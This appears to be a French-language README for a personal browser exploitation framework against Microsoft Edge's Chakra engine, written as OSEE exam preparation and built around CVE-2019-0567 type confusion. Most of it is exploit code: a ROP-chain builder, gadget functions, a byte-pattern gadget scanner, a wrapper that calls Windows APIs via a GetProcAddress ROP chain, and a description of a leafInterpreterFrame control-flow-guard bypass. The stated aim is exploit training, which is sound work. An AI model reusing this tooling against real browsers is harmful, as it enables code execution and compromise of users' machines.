
Framework d'exploitation de navigateur pour Chakra (Edge). Écrit dans le cadre de la préparation à l'OSEE. Bogue de démonstration : CVE-2019-0567
Ce dépôt contient le Browser Exploitation Framework que j'ai écrit pour préparer mon cours EXP-401. Le framework cible le moteur Chakra, qui faisait partie d'Edge jusqu'à son passage à v8 en 2019.
La vulnérabilité de démonstration utilisée dans le framework est le CVE-2019-0567 Type Confusion.

Pour rendre ce framework facile à utiliser, j'ai écrit quelques fonctionnalités intéressantes qui rendent l'implémentation de futures fuites de sandbox incroyablement simple.
Le framework permet d'appeler les API Windows à un haut niveau d'abstraction. Il utilise une chaîne ROP GetProcAddress pour résoudre n'importe quelle API, et permet jusqu'à quatre paramètres.
function getcomputername_example(winapi, memory_access, memory_manager) {
// Allocate some space for our GetComputerNameA parameters
let buffer_size = 0x100;
let lpBuffer = memory_manager.malloc(buffer_size);
let nSize = memory_manager.malloc(0x8);
memory_access.write_dword(nSize, buffer_size);
let hresult = winapi.call_function("kernel32.dll", "GetComputerNameW", [lpBuffer, nSize]);
memory_access.hexdump(lpBuffer, buffer_size);
log("GetComputerNameA HRESULT: %p", hresult);
}
Le contournement CFG que j'ai utilisé est la technique leafInterpreterFrame. En parcourant quelques objets, vous pouvez fuiter une adresse de pile. De là, vous pouvez traquer un pointeur de fonction, l'écraser et obtenir l'exécution. Le porter vers ma version de Chakra a été un peu délicat, donc j'ai écrit un article de blog à ce sujet ici.
Un ami m'a montré une technique très élégante pour rendre le retour dans le monde JavaScript vraiment facile. Ils encapsulent leur contournement CFG dans un appel [1].map(), ce qui permet de continuer l'exécution dans leur fonction parente – cela rend le code beaucoup plus propre. Vous pouvez voir un exemple de cela ici
De nombreuses API Windows nécessitent que les paramètres et les tampons soient alignés. Auparavant, j'appelais les API Windows en plaçant les paramètres dans la section .data – c'était très fastidieux. Finalement, j'ai écrit mon propre allocateur mémoire qui appelle VirtualAlloc, en ROP, puis permet à d'autres objets d'allouer (malloc) de la mémoire depuis le tampon. L'allocateur mémoire retourne toujours des tampons alignés également !
La façon dont les chaînes ROP sont écrites est la suivante :
let rop_buffer = this.memory_manager.malloc(0x400);
let rop = new ROP(this.aslr.get_chakra_base(), this.memory_access);
rop.pop_rcx(0x4141414141414141);
rop.getChain().map((gadget) => {
this.memory_access.write_pointer(rop_buffer, gadget);
rop_buffer += 8;
});
Les gadgets ROP sous-jacents sont implémentés comme de petites fonctions :
pop_rcx(value) {
this.add_gadget(this.pattern_scan.scan_for_gadget(["pop_rcx", "ret"]));
this.add_gadget(value);
}
De cette façon, nous pouvons créer des chaînes de gadgets plus complexes pour effectuer une action de plus haut niveau comme pop r9. Il n'y avait pas de gadget approprié, donc cela est implémenté comme une combinaison de plusieurs :
pop_r9(value) {
this.pop_rax(value);
this.add_gadget(this.pattern_scan.scan_for_gadget(["mov_r9_rax", "add_rsp_20", "pop_rbx", "ret"]));
// Add filler for rsp
this.nop();
this.nop();
this.nop();
this.nop();
// Add filler for rbx
this.nop();
}
Pour essayer d'augmenter la portabilité du framework, il y a aussi un analyseur de motifs ROP. Il utilise la primitive read pour rechercher une séquence d'octets formant la chaîne requise.
Il y a aussi un cache global qui améliore considérablement les performances de l'analyseur.
get_pattern(instruction) {
let byte_patterns = {
"mov_r9_rax": [0x4c, 0x8b, 0xc8],
"add_rsp_20": [0x48, 0x83, 0xc4, 0x20],
"pop_rax": [0x58],
"pop_rbx": [0x5b],
"pop_rsp": [0x5c],
"pop_r8": [0x41, 0x58],
"pop_rdx": [0x5a],
"pop_rcx": [0x59],
"mov_rax_deref_rcx": [0x48, 0x8b, 0x01],
"add_rsp_0x18": [0x48, 0x83, 0xc4, 0x18],
"add_rsp_0x28": [0x48, 0x83, 0xc4, 0x28],
"mov_deref_rcx_rax": [0x48, 0x89, 0x01],
"mov_rcx_deref_rax_plus_20": [0x48, 0x8b, 0x48, 0x20],
"mov_deref_rdx_plus_30_rcx": [0x48, 0x89, 0x4a, 0x30],
"ret": [0xc3],
};
return byte_patterns[instruction];
}